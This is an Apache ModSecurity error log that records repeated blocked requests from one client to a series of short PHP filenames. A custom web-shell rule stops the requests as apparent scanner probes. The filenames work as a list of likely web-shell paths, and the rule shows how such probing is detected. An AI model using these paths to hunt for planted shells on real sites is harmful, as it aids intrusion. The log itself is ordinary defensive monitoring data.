[Sat Jan 03 03:29:09.235565 2026] [:error] [pid 1929:tid 1944] [client 20.39.206.242:14701] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVgchecFqdpu6TNsuWqxtgAAAAY"]
[Sat Jan 03 03:29:09.508376 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:14689] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aVgchecFqdpu6TNsuWqxtwAAAAs"]
[Sat Jan 03 03:29:09.820722 2026] [:error] [pid 1929:tid 1946] [client 20.39.206.242:14387] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aVgchecFqdpu6TNsuWqxuAAAAAg"]
[Sat Jan 03 03:29:10.091872 2026] [:error] [pid 1929:tid 1952] [client 20.39.206.242:14818] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aVgchucFqdpu6TNsuWqxugAAAA4"]
[Sat Jan 03 03:29:10.407649 2026] [:error] [pid 1930:tid 1976] [client 20.39.206.242:14790] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aVgchpP-6mqhfUDa89y6LAAAAEo"]
[Sat Jan 03 03:29:10.758394 2026] [:error] [pid 1931:tid 2032] [client 20.39.206.242:14370] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aVgchh8Tyw7ZoIdXlcbabQAAAIg"]
[Sat Jan 03 03:29:11.104227 2026] [:error] [pid 1931:tid 2041] [client 20.39.206.242:14810] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aVgchx8Tyw7ZoIdXlcbabgAAAJE"]
[Sat Jan 03 03:29:11.522983 2026] [:error] [pid 1931:tid 2030] [client 20.39.206.242:14354] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aVgchx8Tyw7ZoIdXlcbacAAAAIY"]
[Sat Jan 03 03:29:11.880206 2026] [:error] [pid 2083:tid 2109] [client 20.39.206.242:14710] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aVgchzVlR_BmlMPnhV6cbQAAANg"]
[Sat Jan 03 03:29:12.219708 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:14345] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVgciJP-6mqhfUDa89y6LgAAAE4"]
[Sat Jan 03 03:29:12.539487 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14802] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVgciDVlR_BmlMPnhV6cbwAAAM8"]
[Sat Jan 03 03:29:12.850317 2026] [:error] [pid 1929:tid 1961] [client 20.39.206.242:14831] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVgciOcFqdpu6TNsuWqxvgAAABc"]
[Sat Jan 03 03:29:13.319331 2026] [:error] [pid 1929:tid 1943] [client 20.39.206.242:14397] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVgciecFqdpu6TNsuWqxvwAAAAU"]
[Sat Jan 03 03:29:13.699206 2026] [:error] [pid 1929:tid 1940] [client 20.39.206.242:14610] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aVgciecFqdpu6TNsuWqxwAAAAAI"]
[Sat Jan 03 03:29:14.005284 2026] [:error] [pid 1929:tid 1955] [client 20.39.206.242:14835] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aVgciucFqdpu6TNsuWqxwgAAABE"]
[Sat Jan 03 03:29:14.288885 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:14708] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aVgciucFqdpu6TNsuWqxwwAAABQ"]
[Sat Jan 03 03:29:14.765032 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:14829] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aVgcijVlR_BmlMPnhV6ccAAAAMc"]
[Sat Jan 03 03:29:34.670123 2026] [:error] [pid 1931:tid 2027] [client 20.39.206.242:14663] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aVgcnh8Tyw7ZoIdXlcbamgAAAIQ"]
[Sat Jan 03 03:29:34.955486 2026] [:error] [pid 1931:tid 2048] [client 20.39.206.242:14800] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aVgcnh8Tyw7ZoIdXlcbamwAAAJg"]
[Sat Jan 03 03:29:35.259942 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:14592] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aVgcn-cFqdpu6TNsuWqx1wAAAA8"]
[Sat Jan 03 03:29:35.551068 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:15060] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "aVgcn5P-6mqhfUDa89y6OQAAAFU"]
[Sat Jan 03 03:29:35.859187 2026] [:error] [pid 1930:tid 1984] [client 20.39.206.242:14597] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aVgcn5P-6mqhfUDa89y6OgAAAFI"]
[Sat Jan 03 03:29:36.127466 2026] [:error] [pid 1931:tid 2030] [client 20.39.206.242:14678] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aVgcoB8Tyw7ZoIdXlcbaoQAAAIY"]
[Sat Jan 03 03:29:36.424022 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:14537] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aVgcoOcFqdpu6TNsuWqx3wAAABg"]
[Sat Jan 03 03:29:36.709274 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:14349] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aVgcoOcFqdpu6TNsuWqx4QAAABM"]
[Sat Jan 03 03:29:36.985366 2026] [:error] [pid 1931:tid 1999] [client 20.39.206.242:14677] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVgcoB8Tyw7ZoIdXlcbapAAAAIM"]
[Sat Jan 03 03:29:37.353995 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:14817] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVgcoTVlR_BmlMPnhV6cewAAANY"]
[Sat Jan 03 03:29:37.648892 2026] [:error] [pid 1930:tid 1982] [client 20.39.206.242:14353] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVgcoZP-6mqhfUDa89y6PQAAAFA"]
[Sat Jan 03 03:29:38.006386 2026] [:error] [pid 1929:tid 1950] [client 20.39.206.242:14844] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVgcoucFqdpu6TNsuWqx5AAAAAw"]
[Sat Jan 03 03:29:38.377617 2026] [:error] [pid 1931:tid 2040] [client 20.39.206.242:14688] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVgcoh8Tyw7ZoIdXlcbaqAAAAJA"]
[Sat Jan 03 03:29:38.672673 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14692] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVgcoucFqdpu6TNsuWqx5gAAAAk"]
[Sat Jan 03 03:29:39.063094 2026] [:error] [pid 1929:tid 1955] [client 20.39.206.242:14646] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVgco-cFqdpu6TNsuWqx5wAAABE"]
[Sat Jan 03 03:29:39.358655 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:14700] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVgco-cFqdpu6TNsuWqx6AAAABQ"]
[Sat Jan 03 03:29:39.680882 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:14791] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVgco5P-6mqhfUDa89y6QQAAAEg"]
[Sat Jan 03 03:29:40.103575 2026] [:error] [pid 1931:tid 2045] [client 20.39.206.242:14618] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVgcpB8Tyw7ZoIdXlcbaqgAAAJU"]
[Sat Jan 03 03:29:40.413993 2026] [:error] [pid 1929:tid 1946] [client 20.39.206.242:14706] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVgcpOcFqdpu6TNsuWqx6gAAAAg"]
[Sat Jan 03 03:29:40.704961 2026] [:error] [pid 1931:tid 2035] [client 20.39.206.242:14626] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aVgcpB8Tyw7ZoIdXlcbarQAAAIs"]
[Sat Jan 03 03:29:41.002806 2026] [:error] [pid 1931:tid 2039] [client 20.39.206.242:14599] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aVgcpR8Tyw7ZoIdXlcbarwAAAI8"]
[Sat Jan 03 03:29:41.469741 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:14825] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aVgcpR8Tyw7ZoIdXlcbasgAAAJI"]
[Sat Jan 03 03:29:41.773275 2026] [:error] [pid 2083:tid 2097] [client 20.39.206.242:14806] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aVgcpTVlR_BmlMPnhV6cfwAAAMw"]
[Sat Jan 03 03:29:42.086128 2026] [:error] [pid 1929:tid 1944] [client 20.39.206.242:14681] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aVgcpucFqdpu6TNsuWqx6wAAAAY"]
[Sat Jan 03 03:29:42.422393 2026] [:error] [pid 1931:tid 2040] [client 20.39.206.242:14801] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVgcph8Tyw7ZoIdXlcbatgAAAJA"]
[Sat Jan 03 03:29:42.835222 2026] [:error] [pid 1930:tid 1986] [client 20.39.206.242:14833] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVgcppP-6mqhfUDa89y6SQAAAFQ"]
[Sat Jan 03 03:29:43.134235 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:14827] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVgcpzVlR_BmlMPnhV6cggAAAMs"]
[Sat Jan 03 03:29:43.421726 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:14382] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVgcpzVlR_BmlMPnhV6chAAAAM0"]
[Sat Jan 03 03:29:43.754434 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:14712] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVgcpzVlR_BmlMPnhV6chQAAAMk"]
[Sat Jan 03 03:29:44.029345 2026] [:error] [pid 2083:tid 2089] [client 20.39.206.242:14793] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVgcqDVlR_BmlMPnhV6chwAAAMQ"]
[Sat Jan 03 03:29:44.477378 2026] [:error] [pid 1929:tid 1952] [client 20.39.206.242:14834] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVgcqOcFqdpu6TNsuWqx7QAAAA4"]
[Sat Jan 03 03:29:44.773900 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:14532] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVgcqOcFqdpu6TNsuWqx8AAAABM"]
[Sat Jan 03 03:29:45.067420 2026] [:error] [pid 1930:tid 1968] [client 20.39.206.242:14623] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVgcqZP-6mqhfUDa89y6TAAAAEI"]
[Sat Jan 03 03:29:45.364100 2026] [:error] [pid 1930:tid 1966] [client 20.39.206.242:14539] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVgcqZP-6mqhfUDa89y6TQAAAEA"]
[Sat Jan 03 03:29:45.660133 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:14832] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVgcqZP-6mqhfUDa89y6TgAAAE4"]
[Sat Jan 03 03:29:45.980731 2026] [:error] [pid 1931:tid 2045] [client 20.39.206.242:14840] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aVgcqR8Tyw7ZoIdXlcbauQAAAJU"]
[Sat Jan 03 03:29:46.278603 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:14659] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aVgcqh8Tyw7ZoIdXlcbauwAAAIA"]
[Sat Jan 03 03:29:46.564637 2026] [:error] [pid 1931:tid 2035] [client 20.39.206.242:14529] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aVgcqh8Tyw7ZoIdXlcbavAAAAIs"]
[Sat Jan 03 03:29:46.868332 2026] [:error] [pid 1930:tid 1977] [client 20.39.206.242:14716] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aVgcqpP-6mqhfUDa89y6TwAAAEs"]
[Sat Jan 03 03:29:47.172246 2026] [:error] [pid 1931:tid 2032] [client 20.39.206.242:14787] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aVgcqx8Tyw7ZoIdXlcbavgAAAIg"]
